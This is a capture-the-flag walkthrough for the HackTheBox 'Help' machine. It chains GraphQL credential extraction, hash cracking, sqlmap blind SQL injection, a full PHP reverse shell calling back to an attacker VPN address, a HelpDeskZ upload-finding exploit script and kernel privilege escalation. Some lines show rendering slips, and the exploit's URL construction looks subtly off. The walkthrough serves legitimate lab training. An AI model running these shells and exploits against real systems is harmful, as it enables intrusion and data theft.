HackTheBox Help Writeup
Explore the fundamentals of cybersecurity in the Help Capture The Flag (CTF) challenge, a easy-level experience! This straightforward CTF writeup provides insights into key concepts with clarity and simplicity, making it accessible for players at this level.
Add Hosts#
10.10.10.121 help.htb
Script to add hosts automatically#
ip="10.10.10.121"
domain="help.htb"
grep -qF "$ip $domain" /etc/hosts || echo -e "$ip $domain" | sudo tee -a /etc/hosts
Mapping#
nmap -sCV help.htb
Nmap scan report for help.htb (10.10.10.121)
Host is up (0.052s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 e5:bb:4d:9c:de:af:6b:bf:ba:8c:22:7a:d8:d7:43:28 (RSA)
| 256 d5:b0:10:50:74:86:a3:9f:c5:53:6f:3b:4a:24:61:19 (ECDSA)
|_ 256 e2:1b:88:d3:76:21:d4:1e:38:15:4a:81:11:b7:99:07 (ED25519)
80/tcp open http Apache httpd 2.4.18
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.18 (Ubuntu)
3000/tcp open http Node.js Express framework
|_http-title: Site doesn't have a title (application/json; charset=utf-8).
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel
HelpDeskZ and GraphQL Endpoint Discovery#
Port Overview#
- Port 80: Exposes a HelpDeskZ page in /support.
- Port 3000: Exposes a GraphQL endpoint.
Fuzzing GraphQL Endpoints#
Using ffuf to fuzz the GraphQL endpoint:
ffuf -w /usr/share/dict/SecLists/Discovery/Web-Content/graphql.txt -u 'http://help.htb:3000/FUZZ' -X POST
Results:
graphql/schema.xml[Status: 500, Size: 61]graphql[Status: 500, Size: 61]graphql/schema.yaml[Status: 500, Size: 61]graphql/schema.json[Status: 500, Size: 61]graphql/console[Status: 500, Size: 61]
For more detailed information on exploiting GraphQL endpoints, refer to: HackTricks - GraphQL
Listing All Tables#
To list all available tables in the GraphQL schema:
http://help.htb:3000/graphql/console?query={__schema{types{name,fields{name}}}}
Extracting User Credentials#
Retrieving specific user information (username and password):
http://help.htb:3000/graphql/console?query={user{username,password}}
Response:
{
"data": {
"user": {
"username": "helpme@helpme.com",
"password": "5d3c93182bb20f07b994a7f617e99cff"
}
}
}
Brute Force the Hash#
Use a hash cracking tool like hashcat or John the Ripper to perform a brute force attack on the password hash, or use a service such as crackstation for this purpose.
echo -n "Password Hash? -->" ; read hash
echo "$hash" > /tmp/hash.txt
hashcat -m 0 -a 0 /tmp/hash.txt /usr/share/dict/rockyou.txt
hashcat -m 0 /tmp/hash.txt --show
rm -rf /tmp/hash.txt
Fuzzing Port 80 for Additional Endpoints#
Using ffuf to fuzz for endpoints on port 80:
ffuf -w /usr/share/dict/SecLists/Discovery/Web-Content/big.txt -u 'http://help.htb/FUZZ' -X POST
HelpDeskZ Foothold#
Repository: HelpDeskZ GitHub
Authenticated Exploit: Exploit 41200
This seems to be the intended exploit, as it requires the discovered email and password, though it takes more time.
Create a new ticket at: http://help.htb/support/?v=submit_ticket
Submit an image or text file as an attachment.
Open the newly created ticket and inspect the attached file.
Copy the request in Burp Suite and send it to the repeater.
- The vulnerable endpoint should resemble:
/support/?v=view_tickets&action=ticket¶m[]=4Test the vulnerability by adding
and 1=1-- -orand 1=2-- -to the query.Use SQLMap to exploit the vulnerability:
- Edit the
re.reqfile to include the full domain (http://help.htb) in the GET request.
sqlmap -r $(pwd)/re.req --level 5 --risk 3 -p "param[]" --dbms=mysql --technique=B --batchFinded payload:
--- Parameter: param[] (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: v=view_tickets&action=ticket¶m[]=4¶m[]=attachment¶m[]=1¶m[]=6 AND 6987=6987 ---To dump the database, run:
sqlmap -r $(pwd)/re.req --level 5 --risk 3 -p "param[]" --dbms=mysql --technique=B --batch --dump --threads 10You will retrieve the SSH password.
ssh help@help.htb- Edit the
Unauthenticated Exploit: Exploit 40300
While this may not be the intended method, it is easier to perform.
nc -lvnp 9001
<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '<vpn-ip>';
$port = 9001;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
if (function_exists('pcntl_fork')) {
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0);
}
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
chdir("/");
umask(0);
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
$descriptorspec = array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("pipe", "w")
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
?>
#!/usr/bin/env python3
import hashlib
import time
import sys
import requests
print('Helpdeskz v1.0.2 - Unauthenticated shell upload exploit')
if len(sys.argv) < 3:
print("Usage: {} [baseUrl] [nameOfUploadedFile]".format(sys.argv[0]))
sys.exit(1)
helpdeskzBaseUrl = sys.argv[1]
fileName = sys.argv[2]
currentTime = int(time.time())
ext = fileName.split('.')[-1]
for x in range(0, 300):
plaintext = fileName + str(currentTime - x)
md5hash = hashlib.md5(plaintext.encode('utf-8')).hexdigest()
url = helpdeskzBaseUrl + md5hash + ext
response = requests.head(url)
if response.status_code == 200:
print("Found!")
print(url)
sys.exit(0)
print("Sorry, I did not find anything")
Submit a revshell.php through the ticket submission functionality.
chmod +x upload
./upload http://help.htb/support/uploads/tickets/ revshell.php
cat /home/help/user.txt
Get an Interactive Shell: Once the reverse shell connects, convert it into an interactive shell:
python3 -c 'import pty;pty.spawn("/bin/bash")'
Press Ctrl+Z to background the shell, then run:
stty size; stty raw -echo; fg
As the last step, set the terminal environment:
export TERM=xterm;
uname -a
cd /dev/shm
CVE-2017-16995#
nano root.c
gcc root.c -o root
chmod +x root
./root
cat /root/root.txt
CVE-2017-5899#
There are several alternatives for privilege escalation due to the outdated kernel on the system.
One that I haven’t tried but is likely to work is CVE-2021-22555.